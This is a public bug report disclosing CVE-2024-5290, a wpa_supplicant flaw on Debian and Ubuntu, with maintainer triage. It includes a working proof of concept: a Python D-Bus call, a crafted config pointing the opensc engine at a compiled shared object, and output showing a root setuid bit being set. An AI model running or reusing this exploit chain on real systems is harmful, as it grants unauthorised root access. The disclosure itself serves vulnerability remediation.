CVE-2024-5290 : Fix loading of arbitrary shared objects
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
wpa (Debian) |
Fix Released
|
High
|
Andrej Shadura | ||
wpa (Ubuntu) |
Fix Released
|
Undecided
|
Sudhakar Verma |
Bug Description
Hello team
We received a vulnerability report a while back - that lets users load arbitrary shared object files in the context of the wpa_supplicant process running as root in affected Ubuntu systems.
TLDR : Upstream released a fix : https:/
Details here :
`wpa_supplicant` is a binary package of source `wpa`
```sh
$ umt search wpa
Running search command.
Ubuntu packages:
Release Version Pocket Component
trusty 2.1-0ubuntu1.7 security main
trusty/esm 2.1-0ubuntu1.7+esm4 security main
xenial 2.4-0ubuntu6.8 security main
bionic 2:2.6-15ubuntu2.8 security main
focal 2:2.9-1ubuntu4.3 security main
jammy 2:2.10-6ubuntu2 updates main
lunar 2:2.10-12 release main
mantic 2:2.10-15 release main
noble 2:2.10-21build4 release main
Other packages:
Release Version Pocket Component
bookworm 2:2.10-12 release main
bullseye 2:2.9.0-21 release main
buster 2:2.7+git201901
testing 2:2.10-21.1 release main
unstable 2:2.10-21.1 release main
```
Upstream - https:/
upstream examples point to config that lets all users in group `wheel` access the frontend.
debian and ubuntu use group membership to control access to D-Bus
So in `debian/
```
diff --git a/wpa_supplican
index e81b495..413c049 100644
--- a/wpa_supplican
+++ b/wpa_supplican
@@ -9,6 +9,11 @@
</policy>
+ <policy group="netdev">
+ <allow send_destinatio
+ <allow send_interface=
+ <allow receive_
+ </policy>
<policy context="default">
```
to allow `netdev` users access to the wpa_supplicant which gets started as a service
```
diff --git a/wpa_supplican
index 18cbc11..f02bc15 100644
--- a/wpa_supplican
+++ b/wpa_supplican
@@ -8,8 +8,11 @@ IgnoreOnIsolate
[Service]
Type=dbus
BusName=
-ExecStart=
+ExecStart=
ExecReload=
+Group=netdev
+RuntimeDirecto
+RuntimeDirecto
[Install]
WantedBy=
```
If a user is able to escalate to `netdev` - they will be able to interact with the dbus interface.
One of the interface `fi.w1.
`ConfigFile` has configurations for a network interface
* for loading an opensc engine with `opensc_
* for loading a PKCS#11 engine with `pkcs11_
Both these paths don't check for paths - any arbitrary location - leading to arbitrary code execution.
Overall any user within the group `netdev` would be able to load arbitrary shared objects - in the context of a process running as root - granting privilege escalation to `root`
The process that loads these objects is launched with
`/usr/sbin/
the trace looks like
```
openat(AT_FDCWD, "/tmp/stage/
read(8, "\177ELF\
fstat(8, {st_mode=
mmap(NULL, 16408, PROT_READ, MAP_PRIVATE|
mmap(0x7b77cdcd
mmap(0x7b77cdce
mmap(0x7b77cdce
close(8) = 0
mprotect(
```
Example from my 23.11 test machine
```
$ \cat wpa.py
import dbus
open("/tmp/done", "w").write("done")
system_bus = dbus.SystemBus()
wpasupplicant = system_
wpasupplicant.
"Ifname": "lo",
"ConfigFile": "/tmp/stage/
"Driver": "wired"
}, signature="sv"), dbus_interface=
$ cat >> /tmp/stage/wpa_conf <<EOF
opensc_
EOF
$ ll /usr/bin/python3.11
Permissions Size User Date Modified Name
.rwxr-xr-x 6.8M root 8 Oct 2023 /usr/bin/python3.11
$ \cat loadable.c
#include <sys/stat.h>
void __attribute_
}
$ gcc -fPIC -shared -o loadable.so loadable.c
$ cp loadable.so /tmp/stage
$ chmod -R 777 /tmp/stage
# sg netdev -c 'python3 wpa.py'
Traceback (most recent call last):
File "/home/
wpasupplica
File "/usr/lib/
return self._proxy_
File "/usr/lib/
return self._connectio
File "/usr/lib/
reply_message = self.send_
dbus.exceptions
$ ll /usr/bin/python3.11
Permissions Size User Date Modified Name
.rwsr-xr-x 6.8M root 8 Oct 2023 /usr/bin/python3.11
```
CVE References
summary: |
- CVE-2024-5290 : upstream patch available + CVE-2024-5290 : Fix loading of arbitrary shared objects |
information type: | Private Security → Public Security |
Changed in wpa (Ubuntu): | |
assignee: | nobody → Sudhakar Verma (sudhackar) |
status: | New → Fix Released |
Changed in wpa (Debian): | |
assignee: | nobody → Andrej Shadura (andrew.sh) |
importance: | Undecided → High |
status: | New → Fix Released |
Adding Desktop's wpa maintainers and Marc to bug.
If I understand correctly, the upstream commit is a mitigation, not a patch. A security patch requires Ubuntu to change our implementation, which would likely require upstream's mitigation.
Basically, we should make it impossible for the netdev group to load arbitrary modules.
From @mdeslaur:
> So upstream isn't vulnerable as they only expose the dbus interface to root. Downstreams like Ubuntu and Chromium added a patch that grants access to the netdev group. The patch is the problem, not the upstream code IMHO
and:
> I wonder if just modifying wpa_supplicant to load from the trusted lib directory wouldn't be vulnerable to the same type of thing
Sudhakar, if that feels correct, could you please edit this bugs title?
Remediators, please note that others have implemented similar vulnerabilities using wpa_supplicant: /bugs.chromium. org/p/chromium/ issues/ detail? id=1398996& no_tracker_ redirect= 1 /issues. chromium. org/issues/ 40062113
https:/
https:/